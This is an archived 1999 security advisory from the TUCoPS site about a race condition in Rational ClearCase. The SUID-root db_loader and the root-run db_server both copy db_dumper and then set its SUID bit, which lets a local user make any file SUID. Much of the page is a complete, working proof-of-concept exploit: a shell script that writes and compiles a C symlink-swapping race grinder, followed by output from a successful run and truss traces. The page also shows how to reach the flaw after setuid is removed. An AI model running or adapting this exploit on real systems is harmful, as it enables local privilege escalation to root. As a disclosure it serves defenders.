TUCoPS :: Unix :: General :: ccase-1.htm


TUCoPS :: Unix :: General :: ccase-1.htm

Rational's ClearCase race condition & other bugs, exploits
Vulnerability
 ClearCase
Affected
 Systems running Rational's ClearCase
Description
 Following is based on L0pht Security Advisory and Oezguer Kesim.
 ClearCase is a configuration management program from Rational
 Software. Similar in some ways to CVS or Visual Source Safe.
 The default installation of ClearCase installs the program
 db_loader SUID root. One of the many security problems in this
 program is a race condition which enables any user to add the SUID
 bit to any file on the system. Example:
> ls -l /bin/ksh
 -r-xr-xr-x 2 bin bin 186356 Jan 21 1998 /bin/ksh
> ./clear_waste.sh /bin/ksh
 Clear Case proof of concept exploit code - mudge@l0pht.com 2.5.1999
 one beer please!
 creating race grinder....
 created!
 compiling race grinder...
 compiled! Launching attack.... be patient
 Looks succesfull!
 -r-sr-xr-x 2 bin bin 186356 Jan 21 1998 /bin/ksh
 don't forget to get rid of /var/tmp/cleartest
 The database loader for pure atria is SUID root. A likely
 candidate for mayhem and deliciousness. In addition it is around
 1.5 megs in size - way beyond the size of manageability for a
 program with elevated priveleges. Taking a quick look at the
 binary shows plenty of places to exploit the default behaviour.
 [output from a truss -f -a -e -o /usr/atria/sun5/etc/db_loader
 /tmp]
 1372: stat("/usr/atria/etc/db_dumper", 0xEFFFE400) = 0
 1372: access("/tmp/db_dumper", 0) Err#2 ENOENT
 1372: open("/usr/atria/etc/db_dumper", O_RDONLY) = 3
 1372: open("/tmp/db_dumper", O_WRONLY|O_CREAT|O_TRUNC, 0100555) = 4
 1372: read(3, "7F E L F0102010円0円0円0円0円".., 65536) = 65536
 1372: write(4, "7F E L F0102010円0円0円0円0円".., 65536) = 65536
 1372: read(3, " _ d e f a u l t0円 r _ t".., 65536) = 65536
 ..... you got it - they are copying db_dumper file to the
 directory you specified.
 1372: read(3, 0xEFFED690, 65536) = 0
 1372: close(3) = 0
 1372: fdsync(4, O_RDONLY|O_SYNC) = 0
 1372: close(4) = 0
 1372: utime("/tmp/db_dumper", 0xEFFFD6F0) = 0
 1372: stat("/tmp/db_dumper", 0xEFFFE728) = 0
 1372: chmod("/tmp/db_dumper", 0104555) = 0
 And low and behold the ever popular chmod(2) call. So - we should
 have plenty of time for the race condition since they are using
 calls which only return the information that was true at that
 explicit moment in time. This type of coding assumes that the
 piece of information being checked is invariant.
 /usr/atria/etc/db_dumper is also a ~1.5 meg file so we have plenty
 of time to unlink and replace it while the copy is taking place.
 Most likely it would be even eaiser as we imagine that they will
 execute the program later on... as it is this machine did not have
 a license server it was permited to communicate with so it bombs
 out before any such what-not can happen. Exploit code
 #!/bin/sh
 #
 # This is sample code that takes advantage of a race condition in
 # Pure Atria's Clear Case db_loader program. The program will retain
 # ownership of the file pointed to on the command line and have
 # the clear case db_loader change the permissions to SUID
 # .mudge@l0pht.com 2.5.1999
 #
 RACE_PROG=./clear_race
 RACE_CODE=./clear_race.c
 # you probabaly need to change the following to reflect your
 # system and setup
 #NICE=/usr/bin/nice
 CC=/usr/local/bin/gcc
 DB_LOADER=/usr/atria/sun5/etc/db_loader
 RM=/bin/rm
 LS=/bin/ls
 MKDIR=/bin/mkdir
 # you need to own the DEST DIR so you can delete files that you don't
 # directly own
 DEST_DIR=/var/tmp/cleartest.$$
 if [ "$#" -ne "1" ] ; then
 echo "usage: `basename 0ドル` file_to_make_suid"
 exit
 fi
 TARGET=1ドル
 if [ ! -f ${TARGET} ] ; then
 echo "target file must exist"
 exit
 fi
 echo
 echo "Clear Case proof of concept exploit code - mudge@l0pht.com 2.5.1999"
 echo " one beer please!"
 echo
 ${MKDIR} ${DEST_DIR}
 if [ $? -gt 0 ] ; then
 echo "go get rid of ${DEST_DIR} and try again..."
 exit
 fi
 cd ${DEST_DIR}
 # create the race runner
 echo "creating race grinder...."
 cat> ${RACE_CODE} << FOEFOE
 #include <unistd.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <stdio.h>
 main(int argc, char *argv[])
 {
 struct stat statbuf;
 printf("%d\n", argc);
 if (argc != 2){
 printf("bzzzzt! - wrong usage\n");
 exit(0);
 }
 while (1){
 if (stat("./db_dumper", &statbuf) == 0){
 unlink("./db_dumper");
 symlink(argv[1], "./db_dumper");
 exit(0);
 }
 }
 }
 FOEFOE
 echo "created!"
 echo
 # compile it
 echo "compiling race grinder..."
 ${CC} -O2 -o ${RACE_PROG} ${RACE_CODE}
 if [ ! -f ${RACE_PROG} ] ; then
 echo "compile failed?"
 ${RM} -f ${RACE_CODE}
 exit
 fi
 echo "compiled! Launching attack.... be patient"
 echo
 ${RACE_PROG} ${TARGET} &
 # let us give the progie a second or two to load up and get the runtime
 # crap set
 sleep 2
 #${NICE} -n 2 ${DB_LOADER} ${DEST_DIR}> /dev/null 2>&1
 # if you keep failing try the above and potentially increase the nice
 value
 ${DB_LOADER} ${DEST_DIR}> /dev/null 2>&1
 if [ -u ${TARGET} ] ; then
 echo "Looks succesfull!"
 ${LS} -l ${TARGET}
 echo
 echo "don't forget to get rid of ${DEST_DIR}"
 echo
 exit
 fi
 echo "doesn't look like it worked... "
 echo "try again - after all it's a race condition!"
 echo "don't forget to get rid of ${DEST_DIR}
 echo
 Now, things are even worse! You may want to remove the setuid
 flag from /usr/atria/etc/db_loader, _but_ this won't fix the
 problem -- just the exploit given by Dr. Mudge. Let's elaborate.
 If we make a
 # /usr/atria/bin/cleartool mkvob -tag /tmp/foo /tmp/foo.vbs
 you'll notice that
 # ls -l /tmp/foo.vbs/db/db_dumper
 results
 -r-sr-xr-x 1 root root 1526912 Jan 21 1998 db_dumper
 While using the above command (cleartool mkvob ...) see what
 albd_server actually makes:
 # ps -A | grep albd
 188 ? 0:08 albd_ser
 Now, if you read the output of
 truss -f -p 188
 when the above command is used, you'll notice the following:
 ...
 188: fork() = 14311
 14311: fork() (returning as child ...) = 188
 ...
 14311: execve("/usr/atria/etc/db_server", 0xEFFFED9C, 0xEFFFFF24) argc = 3
 ...
 14311: stat("/usr/atria/etc/db_dumper", 0xEFFFE110) = 0
 14311: access("/tmp/foo.vbs/db/db_dumper", 0) Err#2 ENOENT
 14311: open("/usr/atria/etc/db_dumper", O_RDONLY) = 14
 14311: open("/tmp/foo.vbs/db/db_dumper", O_WRONLY|O_CREAT|O_TRUNC, 0100555) = 15
 14311: read(14, "7F E L F0102010円0円0円0円0円".., 65536) = 65536
 14311: write(15, "7F E L F0102010円0円0円0円0円".., 65536) = 65536
 ...
 14311: utime("/tmp/foo.vbs/db/db_dumper", 0xEFFFD400) = 0
 14311: stat("/tmp/foo.vbs/db/db_dumper", 0xEFFFE438) = 0
 14311: chmod("/tmp/foo.vbs/db/db_dumper", 0104555) = 0
 In other words _exactly the same code as before_ !! But this
 time in /usr/atria/etc/db_server and called by the daemon
 albd_server running under uid root. Therefore, you can use the
 exploit by l0pht after small modifiactions, _even_ if you remove
 the setuid flag of /usr/atria/etc/db_loader.
 # ldd /usr/atria/etc/db_server
 libatriadb.so => /usr/atria/shlib/libatriadb.so
 # strings /usr/atria/shlib/libatriadb.so | grep db_dumper
 db_dumper
 Most probably the whole code is written in here...
Solution
 Nothing yet.

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH